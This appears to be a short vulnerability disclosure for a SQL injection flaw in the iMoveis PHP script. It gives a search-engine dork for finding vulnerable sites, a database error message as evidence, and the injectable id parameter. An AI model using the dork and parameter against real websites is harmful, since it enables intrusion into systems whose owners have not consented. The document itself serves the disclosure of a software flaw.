32 lines
717 B
Text
32 lines
717 B
Text
# Exploit Title : iMoveis SQL Injection Vulnerability
|
|
# Date : 26/10/2010
|
|
# Author : EraGoN
|
|
# Software link : http://baixar7.com/download/acc-imoveis-script-php.rar/3d1e7bf4b9
|
|
# Version : 1.1
|
|
# Tested on : Linux / Windows XP
|
|
|
|
|
|
# Dork :
|
|
|
|
inurl:imoveis.php?id=
|
|
|
|
#Error
|
|
|
|
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server
|
|
|
|
version for the right syntax to use near '20'' at line 1
|
|
|
|
#Vuln :
|
|
|
|
http://www.site.org/imoveis.php?id=20
|
|
|
|
|
|
**Proud to be Muslim
|
|
**Proud to be Albanian
|
|
**www.eragon.ws
|
|
|
|
Contact : eragon@legends.ag
|
|
|
|
|
|
[ Special Thanks : KuBaNeZi , DJ-DUKLI , The|Denny` , Loock3D , BaDBoY ]
|
|
[ Visit / Greetz : ALBANIAN-LEGENDS.COM Members - www.eragon.ws - www.uah1.org.uk ]
|